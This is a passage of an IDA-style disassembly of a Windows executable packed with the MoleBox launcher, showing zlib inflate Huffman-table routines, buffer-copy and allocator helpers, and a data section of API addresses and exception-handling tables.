loc_4DD530:				; CODE XREF: sub_4DD425+F6j
		mov	ebx, [ebp+arg_0]
		xor	edi, edi


loc_4DD535:				; CODE XREF: sub_4DD425+136j
		mov	eax, [ebx]
		add	ebx, 4
		cmp	eax, edx
		jz	short loc_4DD557
		mov	ecx, [ebp+eax*4+var_B4]
		mov	edx, [ebp+arg_24]
		lea	eax, [ebp+eax*4+var_B4]
		mov	[edx+ecx*4], edi
		inc	ecx
		mov	[eax], ecx
		xor	edx, edx


loc_4DD557:				; CODE XREF: sub_4DD425+117j
		inc	edi
		cmp	edi, [ebp+arg_4]
		jb	short loc_4DD535
		mov	eax, [ebp+esi+var_B4]
		mov	ebx, [ebp+arg_18]
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_24]
		mov	[ebp+var_C], edx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		neg	ebx
		cmp	eax, [ebp+var_18]
		mov	[ebp+var_B4], edx
		mov	[ebp+var_F0], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+arg_0], edx
		jg	loc_4DD791
		mov	edi, [ebp+var_24]
		lea	ecx, [eax-1]
		lea	eax, [ebp+eax*4+var_74]
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_20], eax


loc_4DD5A7:				; CODE XREF: sub_4DD425+366j
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	ecx, eax
		dec	eax
		test	ecx, ecx
		mov	[ebp+var_14], eax
		jz	loc_4DD77B


loc_4DD5BA:				; CODE XREF: sub_4DD425+350j
		mov	eax, [ebp+arg_18]
		add	eax, ebx
		cmp	[ebp+var_4], eax
		jle	loc_4DD6A6


loc_4DD5C8:				; CODE XREF: sub_4DD425+279j
		mov	ecx, [ebp+arg_18]
		inc	[ebp+var_8]
		add	eax, ecx
		add	ebx, ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_18]
		sub	eax, ebx
		cmp	eax, ecx
		mov	[ebp+arg_0], eax
		jbe	short loc_4DD5E4
		mov	[ebp+arg_0], ecx


loc_4DD5E4:				; CODE XREF: sub_4DD425+1BAj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_14]
		push	1
		sub	ecx, ebx
		pop	eax
		shl	eax, cl
		inc	edx
		cmp	eax, edx
		jbe	short loc_4DD623
		mov	esi, [ebp+var_20]
		or	edx, 0FFFFFFFFh
		sub	edx, [ebp+var_14]
		add	eax, edx
		cmp	ecx, [ebp+arg_0]
		jnb	short loc_4DD623


loc_4DD606:				; CODE XREF: sub_4DD425+1F5j
		inc	ecx
		cmp	ecx, [ebp+arg_0]
		jnb	short loc_4DD623
		mov	edx, [esi+4]
		add	esi, 4
		shl	eax, 1
		cmp	eax, edx
		jbe	short loc_4DD623
		sub	eax, edx
		jmp	short loc_4DD606
; ---------------------------------------------------------------------------


loc_4DD61C:				; CODE XREF: sub_4DD425+C1j
					; sub_4DD425+E3j ...
		push	0FFFFFFFDh
		jmp	loc_4DD7A6
; ---------------------------------------------------------------------------


loc_4DD623:				; CODE XREF: sub_4DD425+1CFj
					; sub_4DD425+1DFj ...
		mov	eax, [ebp+arg_20]
		push	1
		pop	edx
		mov	eax, [eax]
		shl	edx, cl
		mov	[ebp+arg_0], edx
		lea	esi, [eax+edx]
		cmp	esi, 5A0h
		ja	short loc_4DD61C
		mov	edx, [ebp+arg_1C]
		lea	eax, [edx+eax*8]
		mov	edx, [ebp+var_8]
		mov	[ebp+var_1C], eax
		lea	edx, [ebp+edx*4+var_F0]
		mov	[edx], eax
		mov	eax, [ebp+arg_20]
		mov	[eax], esi
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_4DD690
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+var_1C]
		mov	[ebp+eax*4+var_B4], esi
		mov	eax, [ebp+arg_18]
		mov	byte ptr [ebp+var_28], cl
		mov	ecx, ebx
		mov	byte ptr [ebp+var_28+1], al
		sub	ecx, eax
		mov	eax, esi
		shr	eax, cl
		mov	ecx, [edx-4]
		mov	edx, [ebp+var_28]
		sub	edi, ecx
		sar	edi, 3
		sub	edi, eax
		mov	[ecx+eax*8], edx
		mov	[ecx+eax*8+4], edi
		jmp	short loc_4DD698
; ---------------------------------------------------------------------------


loc_4DD690:				; CODE XREF: sub_4DD425+235j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx


loc_4DD698:				; CODE XREF: sub_4DD425+269j
		mov	eax, [ebp+var_34]
		cmp	[ebp+var_4], eax
		jg	loc_4DD5C8
		xor	edx, edx


loc_4DD6A6:				; CODE XREF: sub_4DD425+19Dj
		mov	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sub	al, bl
		mov	byte ptr [ebp+var_28+1], al
		mov	eax, [ebp+arg_24]
		lea	ecx, [eax+ecx*4]
		mov	eax, [ebp+var_10]
		cmp	eax, ecx
		jb	short loc_4DD6C4
		mov	byte ptr [ebp+var_28], 0C0h
		jmp	short loc_4DD6FB
; ---------------------------------------------------------------------------


loc_4DD6C4:				; CODE XREF: sub_4DD425+297j
		mov	eax, [eax]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_4DD6DF
		cmp	eax, 100h
		mov	edi, eax
		sbb	cl, cl
		and	cl, 0A0h
		add	cl, 60h
		mov	byte ptr [ebp+var_28], cl
		jmp	short loc_4DD6F7
; ---------------------------------------------------------------------------


loc_4DD6DF:				; CODE XREF: sub_4DD425+2A4j
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_10]
		shl	eax, 2
		mov	cl, [eax+ecx]
		add	cl, 50h
		mov	byte ptr [ebp+var_28], cl
		mov	ecx, [ebp+arg_C]
		mov	edi, [eax+ecx]


loc_4DD6F7:				; CODE XREF: sub_4DD425+2B8j
		add	[ebp+var_10], 4


loc_4DD6FB:				; CODE XREF: sub_4DD425+29Dj
		mov	ecx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		push	1
		sub	ecx, ebx
		pop	esi
		shl	esi, cl
		mov	ecx, ebx
		shr	eax, cl
		cmp	eax, [ebp+arg_0]
		jnb	short loc_4DD72F
		mov	ecx, [ebp+var_1C]
		lea	ecx, [ecx+eax*8]


loc_4DD717:				; CODE XREF: sub_4DD425+306j
		mov	edx, [ebp+var_28]
		add	eax, esi
		mov	[ecx], edx
		mov	edx, esi
		shl	edx, 3
		mov	[ecx+4], edi
		add	ecx, edx
		cmp	eax, [ebp+arg_0]
		jb	short loc_4DD717
		xor	edx, edx


loc_4DD72F:				; CODE XREF: sub_4DD425+2EAj
		mov	ecx, [ebp+var_2C]
		push	1
		pop	eax
		shl	eax, cl
		mov	ecx, [ebp+var_C]


loc_4DD73A:				; CODE XREF: sub_4DD425+31Dj
		test	eax, ecx
		jz	short loc_4DD744
		xor	ecx, eax
		shr	eax, 1
		jmp	short loc_4DD73A
; ---------------------------------------------------------------------------


loc_4DD744:				; CODE XREF: sub_4DD425+317j
		xor	ecx, eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], ecx
		lea	eax, [ebp+eax*4+var_B4]


loc_4DD753:				; CODE XREF: sub_4DD425+346j
		push	1
		mov	ecx, ebx
		pop	esi
		shl	esi, cl
		dec	esi
		and	esi, [ebp+var_C]
		cmp	esi, [eax]
		jz	short loc_4DD76D
		dec	[ebp+var_8]
		sub	eax, 4
		sub	ebx, [ebp+arg_18]
		jmp	short loc_4DD753
; ---------------------------------------------------------------------------


loc_4DD76D:				; CODE XREF: sub_4DD425+33Bj
		mov	eax, [ebp+var_14]
		dec	[ebp+var_14]
		test	eax, eax
		jnz	loc_4DD5BA


loc_4DD77B:				; CODE XREF: sub_4DD425+18Fj
		inc	[ebp+var_4]
		add	[ebp+var_20], 4
		mov	eax, [ebp+var_4]
		inc	[ebp+var_2C]
		cmp	eax, [ebp+var_18]
		jle	loc_4DD5A7


loc_4DD791:				; CODE XREF: sub_4DD425+16Cj
		cmp	[ebp+var_30], edx
		jz	loc_4DD48A
		cmp	[ebp+var_18], 1
		jz	loc_4DD48A
		push	0FFFFFFFBh


loc_4DD7A6:				; CODE XREF: sub_4DD425+1F9j
		pop	eax
		jmp	loc_4DD48C
sub_4DD425	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DD7AC	proc near		; CODE XREF: sub_4DBC4B+56Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_20]
		push	4
		push	120h
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[ebp+arg_20], eax
		test	eax, eax
		jnz	short loc_4DD7D7
		push	0FFFFFFFCh
		pop	eax
		jmp	loc_4DD8AC
; ---------------------------------------------------------------------------


loc_4DD7D7:				; CODE XREF: sub_4DD7AC+21j
		push	ebx
		push	edi
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ebx, [ebp+arg_0]
		push	[ebp+arg_1C]
		mov	edi, 101h
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	offset dword_4DE12C
		push	offset dword_4DE0B0
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_4DD425
		add	esp, 28h
		test	eax, eax
		jnz	short loc_4DD87E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 0
		jz	short loc_4DD891
		push	[ebp+arg_20]
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_8]
		push	[ebp+arg_1C]
		lea	eax, [eax+ebx*4]
		push	[ebp+arg_10]
		push	[ebp+arg_18]
		push	offset dword_4DE220
		push	offset dword_4DE1A8
		push	0
		push	[ebp+arg_4]
		push	eax
		call	sub_4DD425
		add	esp, 28h
		test	eax, eax
		jnz	short loc_4DD854
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 0
		jnz	short loc_4DD850
		cmp	ebx, edi
		ja	short loc_4DD875


loc_4DD850:				; CODE XREF: sub_4DD7AC+9Ej
		xor	edi, edi
		jmp	short loc_4DD89D
; ---------------------------------------------------------------------------


loc_4DD854:				; CODE XREF: sub_4DD7AC+96j
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_4DD862
		mov	dword ptr [esi+18h], offset aOversubscrib_0 ; "oversubscribed distance tree"
		jmp	short loc_4DD89B
; ---------------------------------------------------------------------------


loc_4DD862:				; CODE XREF: sub_4DD7AC+ABj
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_4DD870
		mov	dword ptr [esi+18h], offset aIncompleteDist ; "incomplete distance tree"
		jmp	short loc_4DD898
; ---------------------------------------------------------------------------


loc_4DD870:				; CODE XREF: sub_4DD7AC+B9j
		cmp	eax, 0FFFFFFFCh
		jz	short loc_4DD89B


loc_4DD875:				; CODE XREF: sub_4DD7AC+A2j
		mov	dword ptr [esi+18h], offset aEmptyDistanceT ; "empty distance tree with	lengths"
		jmp	short loc_4DD898
; ---------------------------------------------------------------------------


loc_4DD87E:				; CODE XREF: sub_4DD7AC+5Cj
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_4DD88C
		mov	dword ptr [esi+18h], offset aOversubscrib_1 ; "oversubscribed literal/length tree"
		jmp	short loc_4DD89B
; ---------------------------------------------------------------------------


loc_4DD88C:				; CODE XREF: sub_4DD7AC+D5j
		cmp	eax, 0FFFFFFFCh
		jz	short loc_4DD89B


loc_4DD891:				; CODE XREF: sub_4DD7AC+64j
		mov	dword ptr [esi+18h], offset aIncompleteLite ; "incomplete literal/length tree"


loc_4DD898:				; CODE XREF: sub_4DD7AC+C2j
					; sub_4DD7AC+D0j
		push	0FFFFFFFDh
		pop	eax


loc_4DD89B:				; CODE XREF: sub_4DD7AC+B4j
					; sub_4DD7AC+C7j ...
		mov	edi, eax


loc_4DD89D:				; CODE XREF: sub_4DD7AC+A6j
		push	[ebp+arg_20]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	eax, edi
		pop	ecx
		pop	edi
		pop	ebx


loc_4DD8AC:				; CODE XREF: sub_4DD7AC+26j
		pop	esi
		leave
		retn
sub_4DD7AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DD8AF	proc near		; CODE XREF: sub_4DBC4B+D6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, ds:dword_4DF120
		mov	[eax], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, ds:dword_4DF124
		mov	[eax], ecx
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], offset	dword_4DF128
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], offset	dword_4E0128
		xor	eax, eax
		pop	ebp
		retn
sub_4DD8AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DD8DE	proc near		; CODE XREF: sub_4DBC4B+1F0p
					; sub_4DBC4B+846p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	edx, [ebx+30h]
		push	edi
		mov	edi, [ebx+34h]
		mov	eax, [esi+0Ch]
		cmp	edx, edi
		mov	[ebp+var_8], eax
		mov	[ebp+arg_0], edx
		jbe	short loc_4DD902
		mov	edi, [ebx+2Ch]


loc_4DD902:				; CODE XREF: sub_4DD8DE+1Fj
		mov	eax, [esi+10h]
		sub	edi, edx
		cmp	edi, eax
		mov	[ebp+var_4], edi
		jbe	short loc_4DD913
		mov	[ebp+var_4], eax
		mov	edi, eax


loc_4DD913:				; CODE XREF: sub_4DD8DE+2Ej
		test	edi, edi
		jz	short loc_4DD921
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_4DD921
		and	[ebp+arg_8], 0


loc_4DD921:				; CODE XREF: sub_4DD8DE+37j
					; sub_4DD8DE+3Dj
		add	[esi+14h], edi
		sub	eax, edi
		mov	[esi+10h], eax
		mov	eax, [ebx+38h]
		test	eax, eax
		jz	short loc_4DD943
		push	edi
		push	edx
		push	dword ptr [ebx+3Ch]
		call	eax
		mov	edx, [ebp+arg_0]
		mov	[ebx+3Ch], eax
		add	esp, 0Ch
		mov	[esi+30h], eax


loc_4DD943:				; CODE XREF: sub_4DD8DE+50j
		mov	ecx, edi
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		mov	esi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		add	[ebp+var_8], eax
		add	[ebp+arg_0], eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+2Ch]
		cmp	[ebp+arg_0], eax
		jnz	short loc_4DD9DC
		mov	edx, [ebx+28h]
		cmp	[ebx+34h], eax
		mov	[ebp+arg_0], edx
		jnz	short loc_4DD977
		mov	[ebx+34h], edx


loc_4DD977:				; CODE XREF: sub_4DD8DE+94j
		mov	esi, [ebp+arg_4]
		mov	edi, [ebx+34h]
		sub	edi, edx
		mov	eax, [esi+10h]
		mov	[ebp+var_4], edi
		cmp	edi, eax
		jbe	short loc_4DD98E
		mov	[ebp+var_4], eax
		mov	edi, eax


loc_4DD98E:				; CODE XREF: sub_4DD8DE+A9j
		test	edi, edi
		jz	short loc_4DD99C
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_4DD99C
		and	[ebp+arg_8], 0


loc_4DD99C:				; CODE XREF: sub_4DD8DE+B2j
					; sub_4DD8DE+B8j
		add	[esi+14h], edi
		sub	eax, edi
		mov	[esi+10h], eax
		mov	eax, [ebx+38h]
		test	eax, eax
		jz	short loc_4DD9BE
		push	edi
		push	edx
		push	dword ptr [ebx+3Ch]
		call	eax
		mov	edx, [ebp+arg_0]
		mov	[ebx+3Ch], eax
		add	esp, 0Ch
		mov	[esi+30h], eax


loc_4DD9BE:				; CODE XREF: sub_4DD8DE+CBj
		mov	ecx, edi
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		mov	esi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		add	[ebp+var_8], eax
		and	ecx, 3
		add	[ebp+arg_0], eax
		rep movsb


loc_4DD9DC:				; CODE XREF: sub_4DD8DE+89j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	[ebx+30h], eax
		mov	eax, [ebp+arg_8]
		pop	ebx
		leave
		retn
sub_4DD8DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DD9F3	proc near		; CODE XREF: sub_4D0C5C+32Cp

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	eax, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_C]
		and	[ebp+var_18], 0
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_0]
		and	[ebp+var_14], 0
		mov	[ebp+var_2C], eax
		mov	eax, [esi]
		push	edi
		mov	[ebp+var_28], eax
		push	38h
		lea	eax, [ebp+var_38]
		push	offset byte_4DF0A8
		push	eax
		call	sub_4DD02B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4DDA6E
		lea	eax, [ebp+var_38]
		push	4
		push	eax
		call	sub_4DD043
		mov	edi, eax
		pop	ecx
		cmp	edi, 1
		pop	ecx
		jz	short loc_4DDA5F
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4DCF00
		test	edi, edi
		pop	ecx
		jnz	short loc_4DDA5B
		push	0FFFFFFFBh
		pop	eax
		jmp	short loc_4DDA6E
; ---------------------------------------------------------------------------


loc_4DDA5B:				; CODE XREF: sub_4DD9F3+61j
		mov	eax, edi
		jmp	short loc_4DDA6E
; ---------------------------------------------------------------------------


loc_4DDA5F:				; CODE XREF: sub_4DD9F3+53j
		mov	eax, [ebp+var_24]
		mov	[esi], eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4DCF00
		pop	ecx


loc_4DDA6E:				; CODE XREF: sub_4DD9F3+3Fj
					; sub_4DD9F3+66j ...
		pop	edi
		pop	esi
		leave
		retn
sub_4DD9F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DDA72	proc near		; DATA XREF: sub_4DCF41+41o

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_8]
		push	eax
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4DDA72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DDA8C	proc near		; DATA XREF: sub_4DCF41+50o

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		call	sub_4D83DD
		pop	ecx
		leave
		retn
sub_4DDA8C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DDAB0	proc near		; CODE XREF: sub_4CDB8D+5j
					; _4:004CDB97j
		push	ebp
		mov	ebp, esp
		push	offset aApiNopefunc ; ":API:NopeFunc"
		call	sub_4D84F7
		pop	ebp
		retn
sub_4DDAB0	endp ; sp-analysis failed

_4		ends

; Section 6. (virtual address 000DE000)
; Virtual size			: 00000D76 (   3446.)
; Section size in file		: 00000D76 (   3446.)
; Offset to raw	data for section: 000DE000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_5		segment	para public 'CODE' use32
		assume cs:_5
		;org 4DE000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dword_4DE000	dd 77E79908h		; DATA XREF: sub_4CD2E0+3ADr
					; sub_4CD2E0+3B8r ...
dword_4DE004	dd 77E7A5FDh		; DATA XREF: sub_4CD2E0+1D9r
					; sub_4CD2E0+1EDr ...
dword_4DE008	dd 77E79A45h		; DATA XREF: sub_4CD2E0+1A5r
					; sub_4CD2E0+398r ...
dword_4DE00C	dd 77E6D706h		; DATA XREF: sub_4CD2E0+12Br
					; sub_4CD2E0+173r ...
dword_4DE010	dd 77E79881h		; DATA XREF: sub_4CD2E0+1Ar
					; sub_4CD2E0+108r ...
dword_4DE014	dd 77E79F93h		; DATA XREF: sub_4CD2E0+Ar
					; sub_4CD2E0+1B0r ...
dword_4DE018	dd 77F7E300h		; DATA XREF: sub_4CC060+4r
					; sub_4CF12B+15r ...
dword_4DE01C	dd 77F7E21Fh		; DATA XREF: sub_4CC000+2Cr
					; sub_4CF036+65r ...
dword_4DE020	dd 77E6C10Bh		; DATA XREF: sub_4D2DD0+1A1r
dword_4DE024	dd 77E6E154h		; DATA XREF: sub_4D71C3+114r
dword_4DE028	dd 77E61A90h		; DATA XREF: sub_4D7494+3Ar
					; sub_4D7494+7Cr ...
dword_4DE02C	dd 77E62050h		; DATA XREF: sub_4DADDE+3Fr
dword_4DE030	dd 77E641EBh		; DATA XREF: sub_4CCDBF+59r
					; sub_4CCDBF+8Dr
dword_4DE034	dd 77E781F9h		; DATA XREF: sub_4CCA80+42r
					; sub_4CCA80+14Dr ...
dword_4DE038	dd 77E77405h		; DATA XREF: sub_4CCA80+5Er
					; sub_4CCA80+A7r
dword_4DE03C	dd 77F6183Eh		; DATA XREF: sub_4CCF68r
dword_4DE040	dd 77E79924h		; DATA XREF: sub_4CCA80+20Dr
dword_4DE044	dd 77E77CCEh		; DATA XREF: sub_4CCA80+DFr
					; sub_4CCA80+137r ...
dword_4DE048	dd 77E7C866h		; DATA XREF: sub_4CCDBF+3Fr
					; sub_4CCDBF+12Dr
		align 10h
dword_4DE050	dd 77D46F5Bh		; DATA XREF: sub_4CC15E+ADr
dword_4DE054	dd 77D4B1B0h		; DATA XREF: sub_4CC271+B8r
		align 10h
dword_4DE060	dd 10h			; DATA XREF: sub_4DBC4B+36Fr
					; sub_4DBC4B+3A0r
		dd 11h,	12h, 0
		dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
		dd 0Fh,	0FFFF0000h
dword_4DE0B0	dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
					; DATA XREF: sub_4DD7AC+48o
		dd 1Bh,	1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h,	73h, 83h
		dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_4DE12C	dd 8 dup(0)		; DATA XREF: sub_4DD7AC+43o
		dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
		dd 2 dup(70h)
dword_4DE1A8	dd 1, 2, 3, 4, 5, 7, 9,	0Dh, 11h, 19h, 21h, 31h, 41h, 61h
					; DATA XREF: sub_4DD7AC+81o
		dd 81h,	0C1h, 101h, 181h, 201h,	301h, 401h, 601h, 801h
		dd 0C01h, 1001h, 1801h,	2001h, 3001h, 4001h, 6001h
dword_4DE220	dd 4 dup(0)		; DATA XREF: sub_4DD7AC+7Co
		dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
		dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
		dd 2 dup(0Ch), 2 dup(0Dh)
dword_4DE298	dd 0FFFFFFFFh, 0	; DATA XREF: _4:004CEBB5o
		dd offset sub_4CEDE4
		align 8
		dd offset loc_4CEDB2+2
		dd offset loc_4CEDBA
dword_4DE2B0	dd 0FFFFFFFFh, 0	; DATA XREF: _4:004CEE35o
		dd offset sub_4CF00C
		align 10h
dword_4DE2C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4CF036+5o
		dd offset sub_4CF12B
		align 10h
dword_4DE2D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4CF252+5o
		dd offset sub_4CF61F
		align 10h
dword_4DE2E0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4CC000+5o
		dd offset sub_4CC05D
		align 10h
dword_4DE2F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4CF6DE+5o
; ---------------------------------------------------------------------------
		jmp	near ptr dword_4E2FF4
; ---------------------------------------------------------------------------
		align 10h
dword_4DE300	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4CF818+5o
		dd offset sub_4CF91D
		align 10h
dword_4DE310	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4CF94C+5o
		dd offset sub_4CFCA7
		dd 2 dup(0)
		dd offset sub_4CFA93
dword_4DE328	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4CFD24+5o
		dd offset loc_4CFE9E
		align 8
dword_4DE338	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4CFECD+5o
		dd offset loc_4CFF90
		align 8
dword_4DE348	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4CFFBF+5o
		dd offset loc_4D01D1
		align 8
dword_4DE358	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D0216+5o
		dd offset sub_4D0317
		align 8
dword_4DE368	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D0421+5o
		dd offset sub_4D0643
		align 8
dword_4DE378	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D0672+5o
		dd offset sub_4D0712
		align 8
dword_4DE388	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D0741+5o
		dd offset loc_4D0829
		align 8
dword_4DE398	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D0858+5o
		dd offset sub_4D0921
		align 8
dword_4DE3A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D0950+5o
		dd offset sub_4D09E1
		align 8
dword_4DE3B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D0C5C+5o
		dd offset sub_4D0E9D
		align 8
dword_4DE3C8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D1177+5o
		dd offset sub_4D1441
		align 8
dword_4DE3D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D153F+5o
		dd offset sub_4D18B0
		align 8
dword_4DE3E8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D19D2+5o
		dd offset sub_4D1A8F
		align 8
dword_4DE3F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D1CC4+5o
		dd offset sub_4D2194
		align 8
dword_4DE408	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D2DD0+5o
		dd offset sub_4D35A2
		align 8
		dd offset loc_4D3354
		dd offset loc_4D3385
dword_4DE420	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D3610+5o
		dd offset sub_4D4427
		align 10h
dword_4DE430	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D4490+5o
		dd offset sub_4D469C
		align 10h
dword_4DE440	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D46D0+5o
		dd offset sub_4D4791
		align 10h
dword_4DE450	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D47BF+5o
		dd offset sub_4D487F
		align 10h
dword_4DE460	dd 0FFFFFFFFh, 4D5388h,	4D539Bh, 0 ; DATA XREF:	sub_4D50D0+5o
		dd offset loc_4D5250
		dd offset loc_4D5264
dword_4DE478	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D5456+5o
		dd offset loc_4D56BB
		align 8
dword_4DE488	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D5A41+5o
		dd offset sub_4D5AB3
		align 8
dword_4DE498	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D5BD7+5o
		dd offset nullsub_1
		align 8
		dd offset loc_4D5F3B
		dd offset loc_4D5F44
		dd 2 dup(0)
		dd offset sub_4D5FCD
		align 10h
dword_4DE4C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4D61E1+5o
		dd offset sub_4D7085
		align 10h
		dd offset sub_4D6B7F
		dd offset sub_4D6B88
		dd 1, 0
		dd offset sub_4D6B0E
		align 8
dword_4DE4E8	dd 0FFFFFFFFh, 4D72E3h,	4D731Dh	; DATA XREF: sub_4D71C3+5o
off_4DE4F4	dd offset aMoleboxLaunche ; DATA XREF: sub_4D8401+13r
					; sub_4D8C27+252r
					; "MoleBox launcher fatal error"
off_4DE4F8	dd offset aAssertionFai_0 ; DATA XREF: sub_4CF036+B6r
					; sub_4CF94C+BFr ...
					; "ASSERTION failed"
off_4DE4FC	dd offset aStripped	; DATA XREF: sub_4CF036+BEr
